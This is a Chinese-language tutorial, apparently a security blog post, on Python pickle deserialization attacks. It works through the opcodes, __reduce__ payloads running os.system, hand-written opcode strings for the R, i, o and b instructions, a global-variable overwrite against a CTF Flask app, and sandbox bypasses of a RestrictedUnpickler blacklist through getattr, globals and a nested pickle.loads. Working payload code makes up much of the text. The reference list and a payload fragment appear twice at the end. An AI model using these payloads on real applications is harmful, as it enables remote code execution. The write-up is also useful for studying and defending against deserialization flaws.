前置知识
什么是pickle
pickle是Python专用的一个进行序列化和反序列化的工具包,pickle能表示Python几乎所有的类型(包括自定义类型),由一系列opcode组成,模拟了类似堆栈的内存。
与PHP序列化或者JSON,这些以键值对形式存储序列化对象数据的不同,pickle 序列化(Python独有)是将一个 Python 对象
及其所拥有的层次结构变成可以持久化储存的二进制数据
,无法像JSON 一样直观阅读。在Python中,采用术语 封存 (pickling)
和 解封 (unpickling)
来描述序列化。
可序列化的对象
节选自官方文档:pickle — Python 对象序列化
序列化模块接口
pickling:
#文件
pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
#字节流
pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
unpickling:
pickle.loads
对于未引入的module会自动尝试import。
#文件
pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)
#字节流
pickle.loads(data, /, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)
pickle.Unpickler
像一个代理类一样,在序列化前进行处理,进行安全过滤之类的。
-
load
()从构造函数中指定的文件对象里读取封存好的对象,重建其中特定对象的层次结构并返回。
-
find_class
(module, name)如有必要,导入 module 模块并返回其中名叫 name 的对象,其中 module 和 name 参数都是
str
对象。注意,不要被这个函数的名字迷惑,find_class()
同样可以用来导入函数。 子类可以重载此方法,来控制加载对象的类型和加载对象的方式,从而尽可能降低安全风险。参阅 限制全局变量 获取更详细的信息。 引发一个 审计事件pickle.find_class
附带参数module
、name
。class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
魔术方法
object.__reduce__
()
通过重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令
该接口当前定义如下。__reduce__()
方法不带任何参数,并且应返回字符串或最好返回一个(callable, ([para1,para2...])[,...])
的元组(返回的对象通常称为“reduce 值”)。
在unpickling时就会,对元组当中的方法进行回调,如常见的命令执行:
import pickle
import os
class test():
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))
opcode=pickle.dumps(test())
print(opcode)
pickle.loads(opcode)
object.__setstate__
(state)
用于设置对象属性,执行obj[key]=value的时候自动调用,对应opcode当中的b指令
当解封时,如果类定义了 __setstate__()
,就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 dict。
opcode
当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新,不同版本中得到的opcode不同。
pickle可以向下兼容,v0 版协议是原始的“人类可读”协议,为了通用性以及易读性,本文以v0协议为例。
在Python的模块源码:pickle.py中,有着所有的opcode及其解释,安全当中常用的opcode如下:
操作码 | 描述 | 例子 |
---|---|---|
c | 获取一个全局对象或import一个模块,即调用 find_class 方法并将结果入栈 | c[module]\n[instance]\n |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b |
V | 实例化一个UNICODE字符串对象 | Vxxx\n |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u |
关于其他操作符的作用,推荐阅读:opcode 简介,这里不再累述。
pickle其实是一个基于栈的虚拟机,它由一串串opcode(指令集)组成,最终由Pickle Virtual Machine (PVM)负责解析。
pickle的内容存储在如下两个位置中:
- stack 栈
- memo 一个列表,可以存储信息
下图是PVM解析 __reduce__()
的过程动图:
利用方法
本文当中的opcode生成,尽量使用Pker工具生成,不过还是推荐先学会手撕opcode。
还可以使用souse工具,实现从 Python 代码到 opcode 的翻译
执行危险函数
R
操作符:
先看一个常见的python马
import os
import pickle
import pickletools
class Evil():
def __reduce__(self):
return (os.system, ('whoami',))
print(pickle.dumps(Evil(),protocol=0))
pickletools.dis(pickle.dumps(Evil(),protocol=0))
可以看见opcode导入的是一个nt模块,这是因为是在win下生成的,拿去linux下进行反序列化的话就会报错。
编写opcode 通过 __builtin__.__import__
函数导入 os
模块就可以避免这种局限性。
#python pker.py < 1.txt
os = GLOBAL('__builtin__', '__import__')('os')
system = GLOBAL('__builtin__', 'getattr')(os, 'system')
system('whoami')
return
可以看到上面用到的都是R
操作符,简化一下就是
cos
system
(S'whoami'
tR.
用pker的语句:
system = GLOBAL('os', 'system')
system('whoami')
i
操作符:
(S'whoami'
ios
system
.
INST('os', 'system', 'whoami')
o
操作符:
(cos
system
S'whoami'
o.
OBJ(GLOBAL('os', 'system'), 'whoami')
上面这三种都是直接去调用os模块,没有用__builtin__.__import__
去导入,这是因为上面已经提到了pickle.loads
会解决import问题,整个python标准库的模块函数均可以使用。
上面的操作同样可以用来实例化对象(一种特殊的函数执行),如:
INST('__main__', 'User','admin','123456')
修改全局变量
通过 c
操作码可以获取到任意对象,b
操作码可以对任意对象进行修改,此时就可以获取全局对象并进行修改
通常可以用来覆盖secret_key然后进行session伪造,ctf中也有用来过判断表达式的操作
#admin.py
name = "admin"
password = "fsadffsdfs"
#app.py
import admin
class User:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is User and self.name == other.name and self.password == other.password
app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def flag():
if request.method == 'POST':
try:
result = pickle.loads(base64.b64decode(request.form.get('user')))
correct = ((result == User(admin.name,admin.password)))
if correct:
return Response('flag{fdsfadsfasdfasasdf}')
except Exception as e:
return Response(str(e))
return Response("try")
使用pkel生成
admin = GLOBAL('__main__', 'admin')
admin.name = "admin"
admin.password = "123456"
User = INST('__main__', 'User','admin','123456')
return User
Bypass
绕过R指令限制进行RCE
除了上面提过的的i
,o
指令,其实还有个b
指令。
b
指令在注释中的描述为:call __setstate__ or __dict__.update()
,即执行__setstate__
或者更新栈上的一个字典进行变量覆盖
同时上面提到__setstate__
方法的描述为:
当解封时,如果类定义了
__setstate__()
,就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 dict。
对应源码当中的这一段
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
如果一个类,没有定义__setstate__
方法,但在反序列化时通过b
操作符用{"__setstate__": os.system}
来初始化类的对象。
初始是没有定义__setstate__
,所以这里b
操作码实际上执行了__dict__.update()
,给对象设置了一个恶意的__setstate__
方法。
最后再把命令(whoami)作为参数,再次执行BUILD
指令,由于此时对象存在__setstate__
方法,state为whomai,setstate(state)相当于执行os.system('whoami')
,成功实现了RCE。
这里无法用pker生成,只能手搓
(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b.'''
绕过c指令module限制
最经典的就是Code Breaking picklecode中的一个沙盒绕过了
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
看一下内置函数是否还有漏网之鱼
如同模板注入当中的命令执行一样通过getattr()
获取对象的属性值,来一步步的获取eval函数。
builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)
写成opcode就是:
cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
像这种复杂的最好还是用pker直接生成
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('whoami')
return
还有一种方法是使用builtins.globals()去获取已经导入的pickle模块,直接调用其loads()方法绕过find_class()黑名单限制。
#Protocol 3 (新增B,C两个字节码以标识byte类型)
\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R.
参考:
https://xz.aliyun.com/t/7012
https://xz.aliyun.com/t/7436
https://docs.python.org/zh-cn/3/library/pickle.html
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
https://mp.weixin.qq.com/s/Tb2e_2ihuMP3mWtrPtuFUQ
https://goodapple.top/archives/1069
https://www.modb.pro/db/386177
x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS’pickle’\ntRS’loads’\ntRC\x19cos\nsystem\n(S’whoami’\ntR.\x85R.
## 参考:
https://xz.aliyun.com/t/7012
https://xz.aliyun.com/t/7436
https://docs.python.org/zh-cn/3/library/pickle.html
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
https://mp.weixin.qq.com/s/Tb2e_2ihuMP3mWtrPtuFUQ
https://goodapple.top/archives/1069
https://www.modb.pro/db/386177